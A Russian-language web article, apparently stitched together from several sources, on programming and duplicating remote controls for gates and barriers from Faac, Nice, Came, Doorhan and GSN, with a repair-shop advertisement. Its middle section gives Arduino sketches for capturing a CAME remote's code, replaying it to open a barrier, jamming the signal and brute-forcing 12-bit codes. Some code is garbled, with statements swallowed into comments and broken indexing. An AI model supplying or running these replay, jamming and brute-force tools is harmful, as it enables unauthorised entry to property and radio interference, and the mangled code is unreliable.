Как запрограммировать пульт от ворот, принцип работы

Программируем пульт от ворот за пару кликов

К сожалению, программирование пультов дистанционного управления (ПДУ) для ворот не всегда осуществляется едиными методами. Алгоритм программирования может различаться и зависит от производителя. Для начала следует прописать пульт на плате управления приемника.

Многие производители используют метод копирования кода. Например, для настройки Faac и Nice требуется запись одного ПДУ в приемник. Остальные пульты для автоматических ворот программируются методом копирования от первого брелока. Запись последующих пультов может привести к отключению всех остальных. Этот метод достаточно удобен, т.к. не требует постоянной записи каждого пульта управления воротами по-отдельности.

Пульты от автоматических ворот

Однако в безопасности такой системы стоит усомниться. Представим ситуацию, что Ваш пульт управления воротами на некоторое время попал в руки другого человека. Злоумышленнику потребуется не более минуты, чтобы скопировать сигнал на свой такой же. Об этом необходимо задуматься в первую очередь. Таким образом, становится ясно, что использование такой системы для организаций и компаний – не самая лучшая идея. Копирование сигнала выйдет из-под контроля.

Альтернативой являются системы GANT и Doorhan. Суть таких систем – это запись каждого ПДУ в приемник с помощью уникальных сигналов. Но стоит отметить, что такие системы имеют ограничения по количеству записанных устройств. Эти системы считаются более безопасными, т.к. невозможно так просто скопировать сигнал. Для предприятий это самый лучший вариант.

Не забывайте, перед записью новых ПДУ стирать старые данные с приемника. Как правило, удаление всех записей производится с помощью удержания кнопки на приемнике в течение 10-15 секунд.

Теперь разберем программирование более детально.

Как можно самому сделать копию пульта, имея на руках оригинал

Существуют разные типы пультов, разработанных специально для копирования кодового шифра. Они могут различаться внешним исполнением, частотным диапазоном и списком поддерживаемых устройств. Так, одни дубликаторы предназначаются для копирования динамического кода, а остальные — для решения других задач. Принцип их действия зависит от установленной микросхемы.

Существуют и специализированные модели, работающие на частотах 433,92 МГц или 868 МГц. Перенести код с такого устройства проблематично. Поэтому следует рассмотреть основные варианты решения проблемы.

Вводим пульт в режим программирования

В первую очередь следует активировать режим программирования путем удержания на дубликаторе кнопок A и B в течение 3 секунд. После медленного мерцания светодиода следует отпустить кнопки A и B, чтобы дубликатор вошел в режим программирования. Когда произойдет соответствующее оповещение, можно начинать процедуру.

Приступаем к копированию

Копирование брелока — самый сложный этап, во время которого многие пользователи допускают ошибки. Специалисты рекомендуют размещать устройства на небольшом расстоянии, используя принцип «корпус к корпусу», поскольку это обеспечит четкое и ровное считывание информации. В сети доступны многочисленные руководства, где люди решают задачу с большой дистанции, но такой метод неэффективен.

Основной ПДУ следует повернуть таким образом, чтобы элементы управления находились снизу, а дублирующий девайс лежал клавишами вверх. Это позволит следить за эффективностью копирования.

Затем стоит нажать на основную кнопку главного брелока и клавишу программирования на новом пульте. В процессе следует наблюдать за индикацией светодиодов. После благополучной синхронизации они начнут быстро мерцать. Через 2 секунды после этого кнопки отпускаются.

Основные ошибки и как их не допустить

Распространенная ошибка при программировании пульта — попытка записать следующие устройства по такому же алгоритму, что и основной брелок. Однако после подобной записи блок стирает сигнал и перестает реагировать даже на первый девайс.

Еще одна ошибка — регистрация несовместимых моделей по общепринятой инструкции. Для устройств от разных производителей есть специальное руководство с подробным описанием процедуры программирования.

Возврат на заводские настройки

Чтобы вернуться на заводские настройки, следует нажать на клавиши A и C. Опция востребована для тех случаев, если нужно поставить универсальный девайс. Для возврата на настройки по умолчанию следует указать заводской шифр на каждую кнопку.

В этой статье разберем:

1. Как считать код пульта.
2. Как послать код с arduino на открытие шлагбаума
3. Как заглушить сигнал
4. Как перебором подобрать код для открытия шлагбаумаю

Ссылка на приемник и передатчик: http://ali.ski/S699Bv
Ссылка на пульт came: http://ali.ski/-jEW2

1. скетч на считывание кода с пульта:

#define RX 2 
#define TIMER_DIV 
volatile byte level=255; 
volatile unsigned long last, len; 
byte p_level; 
unsigned long p_len, p_len_prev; 
struct  
{  
  uint8_t state;  
  uint8_t data, dat_bit;  
} came;  
void set_bit(uint8_t *data, uint8_t n) 
{ 
  data[n/8]|=1<<(n%8); } #define CM_MAX_TE 450 #define CM_MIN_TE 250 #define CM_BITS12 12 #define CM_BITS24 24 void process_came() { unsigned char b; switch(came.state) { case 0: if(p_level) break; came.state=1; break; case 1: //start if(!p_level) break; else if(p_len>=CM_MIN_TE && p_len<=CM_MAX_TE)  
      {  
        came.state=2;  
        came.dat_bit=0;  
        came.data=0x00;  
        came.data=0x00;  
        came.data=0x00;  
         
      }  
      else came.state=0;  
         
      
    
    case 2: //dat  
      if(p_level)  
      {  
        if(came.dat_bit==CM_BITS24)  
        {  
          came.state=0;  
          break;  
        }  

        if(p_len_prev<=CM_MAX_TE && p_len_prev>=CM_MIN_TE &&  
           p_len<=CM_MAX_TE*2 && p_len>=CM_MIN_TE*2) b=0;  
         else  
        if(p_len_prev<=CM_MAX_TE*2 && p_len_prev>=CM_MIN_TE*2 &&  
           p_len<=CM_MAX_TE && p_len>=CM_MIN_TE) b=1;  
         else  
        {  
          came.state=0;  
          break;  
        }  

        if(b) set_bit(came.data, came.dat_bit);  
        came.dat_bit++;  
        break;  
      }  
       else  
      {  
        if((p_len>5000)&&(came.dat_bit==CM_BITS12 || came.dat_bit==CM_BITS24)) came.state=100;  
      }  
      break;  
  }  
}   
void dump_hex(byte *buf, byte bits) 
{ 
byte b; 

for(b=0; b>(bits+7)/8; b++) 
{ 
if(buf>0x0f) Serial.print('0'); 
Serial.print(buf, HEX); 
Serial.print(" "); 
} 
Serial.println(""); 
} 
void rx_int() 
{ 
if(level!=255) return; 

len=micros()-last; 
last=micros(); 

if(digitalRead(RX)==HIGH) level=0; 
else level=1;  
} 
void setup() 
{  
attachInterrupt(0, rx_int, CHANGE); 

Serial.begin(115200);  
while(!Serial); 

Serial.println("MEGA ARDUINO LOGGER"); 
Serial.println(""); 

interrupts(); 
}  

byte b; 

void loop() 
{  
if(level!=255) 
{ 
noInterrupts(); 
p_level=level; 
p_len=len; 
len=0; 
level=255; 
interrupts(); 

process_came(); 

p_len_prev = p_len; 
} 


if(came.state==100) 
{ 
Serial.print(came.data,HEX); 
Serial.print(came.data,HEX); 
Serial.print(came.data,HEX); 
//Serial.print("CAME: "); 
dump_hex(came.data, came.dat_bit); 
came.state=0; 
} 
}  
2.Посылаем код с помощью передатчика:
#define txPin 8
#define Te 320

void setup(){
  pinMode(txPin, OUTPUT);
}

void loop()
{
  SendCame(0b111111111111);
}

void SendCameBit(byte b)
{
  delayMicroseconds(Te);
  if (!b) digitalWrite(txPin,HIGH);
  delayMicroseconds(Te);
  digitalWrite(txPin,HIGH);
  delayMicroseconds(Te);
  digitalWrite(txPin,LOW);
}

void SendCame(long Code)
{     
  for (int j=0;j<5;j++) // посылку посылаем как и брелок - 4 раза подряд. { digitalWrite(txPin,HIGH); delayMicroseconds(Te); digitalWrite(txPin,LOW);// посылаем стартовый импульс for (byte i=12;i>0;i--){
      SendCameBit(bitRead(Code, i-1)); // побитово перебираем и посылаем код
    }
    delay(16);
  }
  delay(2000); // сделать паузу после посылки на 2 с
}
3. Делаем глушилку сигнала:
void setup() { 
pinMode(8, OUTPUT); 
}

void loop() {
digitalWrite(8, HIGH);
delayMicroseconds(500);
digitalWrite(8, LOW);
delayMicroseconds(500);
}
4. Делаем перебор кодов пульта от шлагбаумов Came:
#define txPin 8
#define Te 320
int led = B00000001;
int led2 = B1000;
void setup(){
  pinMode(txPin, OUTPUT);
}
 
void loop()
{
 // SendCame(0b100010001111);
 // delay(2000);
  // SendCame((B1110 * 256) + B10101010);
 //  delay(5000);
  SendCame((led2 * 256) + led);
  led = led + B1;
 // delay(1000);
 
  if (led==11111111)
    {led2 = led2 + B1; }
}
 
void SendCameBit(byte b)
{
  delayMicroseconds(Te);
  if (!b) digitalWrite(txPin,HIGH);
  delayMicroseconds(Te);
  digitalWrite(txPin,HIGH);
  delayMicroseconds(Te);
  digitalWrite(txPin,LOW);
}
 
void SendCame(long Code)
{    
  for (int j=0;j<5;j++) // посылку посылаем как и брелок - 4 раза подряд.
  {
    digitalWrite(txPin,HIGH);
    delayMicroseconds(Te);
    digitalWrite(txPin,LOW);// посылаем стартовый импульс
   
    for (byte i=12;i>0;i--){
      SendCameBit(bitRead(Code, i-1)); // побитово перебираем и посылаем код
    }
    delay(16);
  }
  delay(500); // сделать паузу после посылки на 2 с
}

Ссылка на архив со скетчами:  https://yadi.sk/d/vywdKVjN39qYt5

Программирование брелков или пультов для ворот шлагбаумов. Как скопировать и сделать дубликат?

Для того чтобы облегчить процесс управления воротами и шлагбаумами, применяются радиопульты. В последнее время они стали особенно популярны благодаря компактным размерам, простоте в управлении. Именно поэтому такие услуги, как программирование пультов для ворот дистанционного управления клонов и дубликатов, пользуются популярностью. Это необходимо, если Вы купили новый пульт или хотите перенастроить диапазон действия старого.

Следует отметить, что самостоятельные настройки нового пульта не всегда оказываются удачными, например, по ошибке настраиваются два канала вместо одного. Из этого исходит вопрос как запрограммировать второй брелок от ворот, клонировать прописать и перекодировать или прошить брелок от ворот?

Как обнулить пульт от ворот и сбросить настройки?

Вы можете позвонить нам по телефону и наш инженер Вас профессионально проконсультирует и предложит свою помощь.

Почему выгодно использовать радиопульт?

  • это удобно, особенно для больших территорий с множеством ограждений,
  • экономит время, если ворота или шлагбаум нужно открывать много раз,
  • компактный дизайн позволяет носить вещь с собой везде.

Какие бывают дистанционные радиопульты?

На сегодняшний день различают два типа:

  • Радиопульты с одним фиксированным кодом – он довольно прост в программировании, но не слишком безопасен при риске перехвата сигнала.
  • Дистанционный пульт управления с несколькими сигналами. Коды такого брелка можно менять, это обеспечивает безопасность. В зависимости от модели, брелки могут поддерживать до нескольких миллионов комбинаций кодов.
  • С “Прыгающим кодом”.
  • Также бывают карточки от ворот.

Наш сервисный центр осуществляет программирование брелков различных моделей и комплектаций а так же перепрограммирование ключей от ворот и можем удалить код с ключа от ворот. Также мы рады предложить универсальную модель Jolly Open, не имеющую аналогов. Этот дистанционный передатчик может скопировать несколько оригинальных пультов с разными кодами, надежен и легко настраивается на множество каналов. Jolly Open снабжен металлическим корпусом и поддерживает программы даже в случае разряда батареи

Также обратите внимание на радиобрелок Apollo-C, который в состоянии заменить 4 автоматических пульта, работающих на разных частотах

JollyOpen совместим и может заменить следующие пульты:

  • CAME: TOP 432, TOP 434, TAM 432, TWIN 2
  • Beninca To.Go2
  • Nice – серия FLO (FLO1, FLO2, FLO4), Very VE
  • Apollo-C
  • Ditec GOL4C
  • Dea MITTO 2
  • Roger R80/TX12
  • Marantec D212
  • Dea 623
  • Gate-TX
  • GSN
  • Альтоника
  • и другие .

Доставка пультов без программирования

300 рублей (от 5 шт. бесплатная доставка по СПб)

Doorhan

  • В течение 3-х секунд удерживаем кнопку на приемнике. Индикатор «Led1» загорится, т.е. запись начата.
  • Кнопка пульта удерживается также не менее 3-х секунд.
  • Остальные программируются таким же способом.

Фирма «Nice» работает в 2-х направлениях – брелоки с динамичным кодом и с постоянным кодом. Они отличаются цветом корпуса. Синий – постоянный, черный – динамичный.

«Nice» с постоянным кодом программируются с помощью 2х-диапазонных переключателей. Они присутствуют как на брелоке, так и на приемнике. Такие устройства старой разработки редко встречаются в наши дни. Для подготовки еще одного брелока, главный, уже запрограммированный ПДУ, необходимо раскрутить и установить переключатели в точно такое же положение. Данная система подразумевает копирование, поэтому рассмотрим данную процедуру подробнее.

  • Для начала работы следует учесть, что оба брелока должны находиться в зоне радиуса приемника;
  • Удерживаем нужную кнопку нового ПДУ в течение 5-ти секунд;
  • Кнопка главного ПДУ нажимается 3 раза (короткие нажатия).

Всё. Сигнал запрограммирован.

Для форматирования памяти приемника следует удерживать кнопку до 3-кратного мерцания. После третьего мерцания кнопку следует отпустить. Если светодиод промигает пять раз, значит все получилось.

Как правильно выполнить программирование пульта

Правильно настроенный прибор представляет собой достаточно сложное устройство. При нажатии на кнопку открытия ворот зашитая в памяти устройства последовательность сигналов отправляется по радиоканалу в приемник автоматических ворот. В этом случае происходит следующее:

  • Принятый сигнал расшифруется электронным чипом;
  • Сигнал с пульта сверяется с сигнатурой, записанной в памяти блока управления;
  • Отправляется подтверждение о срабатывании ворот в память пульта.

Совет! Разумеется, для пользователей все тонкости работы автоматической системы управления воротами знать нет необходимости. Достаточно знать, как программировать пульт для ворот, чтобы изготовить дубликат прибора на случай, если будет утерян оригинал.

Для этих целей можно заказать пульт у фирмы, установившей систему автоматических ворот, но проще и дешевле использовать универсальный брелок, подходящий под вашу дистанционку.

Универсальные пульты для ворот и шлагбаумов

Основное отличие фирменного пульта от универсального прибора заключается в том, что в последнем нет точно фиксированной частоты радиопередачи, как это делают в своих брелоках производители автоматических ворот. Универсальный брелок может быть настроен на формат работы одного из немногих, примерно 10- 20 типов, совместимых с «универсалом» моделей пультов. Так что универсальность такого прибора слегка завышена.

Понятно, что пользоваться универсальным пультом управления можно, только если правильно его запрограммировать. Для этого необходимо переписать управляющую программу с другого пульта. Залить программку в память универсального брелка можно сразу после включения устройства. Если вы не сделали перенос в течение 5 секунд, возможность перепрограммирования блокируется, поэтому после включения нужно сразу перевести «универсала» в режим программирования, нажав соответствующую кнопку, после чего прибор издаст сигнал готовности к приему информации.

Далее берем старый фирменный прибор и нажимаем кнопку «режим», пока не услышим два коротких сигнала, после чего нажимаем по очереди кнопки управления открытия и закрытия ворот. Успешное выполнение переноса подтверждается звуковым сигналом из трех импульсов.

Каждый брелок или пульт имеет свое цифровое имя, зашитое в памяти блока управления ворот, поэтому перед тем как начать пользоваться новым блоком, его необходимо зарегистрировать в памяти блока управления. Для этого нажимаем на три секунды кнопку на старом и на новом пульте, далее убираем фирменный брелок, а на новом нажимаем еще раз до появления трехкратного сигнала.

Копирование брелоков TXRC09 (TXRC10)

Китайские дубликаторы

Недорогие и надежные. Простая настройка.

Универсальные пульты для копирования постоянного кода 433,92 МГц.

Записывают статический код на частоте 433,92 МГц.
Корпуса могут быть разные. Смотрите фото.

Положение «встык» при копировании брелока GSN на универсальный пульт.

Инструкция

  1. Нажать одновременно кнопки 1 и 2. Световой индикатор моргнет 3 раза.
  2. Одну из них удерживать, а другую отпустить и нажать 2 раза. Индикатор замигает.
  3. Отпустить кнопки. Все они готовы к записи.
  4. Совместить пульты.
  5. Нажать и держать кнопку на которую копируют. Индикатор мигнет 1 раз и погаснет.
  6. Нажать и держать кнопку с которой копируют.
  7. Когда индикатор нового пульта загорится постоянно, то запись прошла.
  8. Отпустить все кнопочки.

Особенности использования скопированных брелков

Любую кнопку действующего оригинального GSN надо скопировать один раз.
Новый пульт, все копии от него и друг от друга будут хорошо работать.
Одно условие.
Нельзя пользоваться пультом GSN с которого взят код.
Если один раз воспользоваться, то дубли перестанут работать.
Придется программировать сначала.

Пример

Вам надо 3 новых пульта.
Покупаете 4 универсальных.
Делаете 1 копию рабочего GSN.
С этой копии записываете остальные 3 универсала.
В итоге на руках 4 рабочих дубликата.
Брелок GSN, с которого взят код, в этом месте не используете.

Nice

Компания Nice занимается производством автоматизированной системы для ворот, шлагбаумов и дверей. Данная итальянская компания занимает лидирующую позицию в мире автоматике. Продукция Nice надежная, качественная, проверенная временем.

Возможность управлять всеми процессами (закрыть ворота, открыть ролеты) одним пультом, не выходя из дома.

Nice FLO 1, FLO 2, FLO 4 – ДУ с динамическим кодом. Частота 433,92 МГц. Дальность реагирования до 150 метров. Габариты 72х40х15. Выпускают одноканальный, двухканальный, четырехканальный.

Пульты Nice FLOR 1S, FLOR 2S, FLOR 4S. Выпускаются одноканальные, двухканальные, четырехканальные модели. Радиус действия – 150-200 метров.

Программирование Nice FLO, FLOR

1. Рядом должен быть приемник.

2. Пульты должны быть расположены последовательно.

3. Нажимаем кнопку любую на новом и удерживаем примерно пять секунд.

4. Нажимаем на старом пульте три раза кнопку.

5. Теперь на новом нажимаем один раз ту кнопку, которую уже нажимали сначала и отпускаем.

Nice ON 1, ON 2, ON 4, ON 9- пульты c динамическим кодом. Изящный вид, малые габариты. Работает при любых погодных условиях. Имеется специальное кольцо для крепления на ключи. Частота управления 433 МГц.

Программирование пультов Nice ON

1. Два пульта должны соприкасаться верхней частью.

2. Нажимаем любую кнопку на новом брелочке и удерживаем, пока на старом не засветится лампочка. Отпускаем клавишу, а на втором должен замигать индикатор.

3. Нажать на любую кнопку на старом брелоке, удержать на новом кнопку до тех пор, пока индикатор не загорится.

4. Отпустить кнопку на старом брелоке. Погас индикатор на новом – это успешное выполнение программирования.

Nice Very VE – двухканальный пульт со статистическим кодом.

Программирование Nice Very VE

1. Нажимаем на две кнопки одновременно, пока лампочка не останется включенной.

2. Нажимаем верхнюю клавишу, если первый на приемнике переключатель в положении «On». Нажимаем нижнюю кнопку, если микропереключатель находится в положении «Off».

3. Пункт №2 повторяем для всех десяти микропереключателей, которые расположены на приемнике.

4. Светодиод начнет быстро моргать, если десятый переключатель будет включен. Пока он мигает, если кнопки не нажаты, тогда код сохранится в памяти.

Nice Very VR- двухканальный брелок с плавающим кодом. Частота 433, 92 МГц.

Программирование пульта Nice Veri VR

1. Должен быть пульт, который уже записан в приемник. Всегда происходит запись первого в приемник с плавающим кодом, используя кнопку приемника.

2. В течение пяти минут передаем код, удерживая клавишу нового пульта.

3. Нажимаем кнопку старого устройства три раза

4. Кратковременно нажимаем кнопку нового пульта. Все запись завершена.

Программирование фирменных приборов управления

c http-equiv=»Content-Type» content=»text/html;charset=UTF-8″>lass=»article_show_context_1″>

У каждого производителя автоматики для управления воротами используются примерно одинаковые командные последовательности и способы программирования пульта. Отличие может состоять только в индикации выполненных операций или способе обмена данными. Чаще всего в дистанционных системах управления используются:

Постоянный ключ управления, зашитый в блок памяти. Сложность ключа и большая длина позволяет не опасаться взлома блока управления ворот с помощью посторонних приборов;
Динамически изменяемый шифрованный ключ. В этом случае блок управления может передавать в пульт управления новую цифровую последовательность, используемую как идентификатор доступа.

К сведению! В простых китайских системах управления воротами чаще всего применяется первый вариант, в дорогих итальянских и немецких автоматах используется второй принцип управления.

Пульт для ворот «Came»

Для иллюстрации можно рассмотреть процедуру переноса служебной информации на новый программируемый брелок на примере модели ТОР 432 SA. На сегодня это один из наиболее распространенных вариантов двухканальной системы автоматического управления воротами.

Перенос программы выполняется в следующей последовательности:

Для начала располагаем старый и новый брелоки на наиболее удобном расстоянии, но не более 5 м. На новом приборе нажимаем и удерживаем пару первых кнопок до тех пор, пока индикатор не начнет быстро мигать;
На программируемом пульте жмем необходимую кнопку, на которую нужно зашить соответствующую команду со старого, индикатор загорится ровным светом. В течение десяти секунд нажимаем нужную команду на старом приборе;
При удачном переносе новый брелок троекратно моргнет индикатором.

Более сложной является процедура программирования пульта системы «Came Twinс» динамически меняющимся кодом. В этом случае перед переносом программы потребуется процедура регистрации брелка в памяти блока управления. Перенос информации выполняется через блок управления. Для этого нажимают стартовую кнопку на старом блоке и удерживают ее, пока индикатор не будет гореть ровным светом без мерцания.

Чтобы получить шифр на новый пульт, нужно нажать на нем кнопку всего один раз. Далее брелоки выйдут из режима программирования автоматически.

Пульт для ворот «Faac»

Компания «Faac» из Италии известна своими системами для автоматических, дистанционно управляемых ворот. Процедура программирования устройства не особо отличается от предыдущих вариантов.

Например, для модели XT2-868 SLH перенос информации выполняется в следующей последовательности. Сначала на старом пульте необходимо одновременно нажать две первые кнопки, примерно на две секунды. Пульт переходит в режим передачи информации. Новый прибор должен моргнуть, тем самым просигнализировать о начале перезаписи. Последовательно сначала на старом, потом на новом нажимаем кнопку, которую нужно перезаписать, после чего индикатор дважды должен моргнуть. Аналогично выполняется перенос всех команд.

Программируем брелок ворот «Nice Very VE»

Данная модель работает с использованием статистического кода. Перед переносом служебной информации потребуется вскрыть панель приемника и выполнять кодировку прибора в соответствии с расположением переключателей на плате.

Сначала нажимаем две первые кнопки одновременно, пока индикатор не загорится без мигания. Смотрим на положение первого микротумблера, если он в состоянии «включено», то жмем верхнюю кнопку на пульте, в противном случае – нижнюю. Таким способом необходимо «перебрать» все десять микротумблеров платы. Чтобы сохранить информацию, необходимо включить на десять секунд последний переключатель. Моргающий индикатор подтверждает запись информации.

Заключение

Современная элементная база, используемая в пультах управления и приемных блоках ворот, очень быстро развивается. Сегодня большинство сервисных функций управления успешно выполняется с помощью программ эмуляторов на мобильных телефонах, планшетах или даже игровых приставках. Единственный способ предупредить возможный взлом служебной информации – использовать максимально простые и маломощные системы, сигнал которых невозможно принять далее 5- 6метров.

( Пока оценок нет )

Оцените статью
Рейтинг автора
5
Материал подготовил
Андрей Измаилов
Наш эксперт
Написано статей
116
Добавить комментарий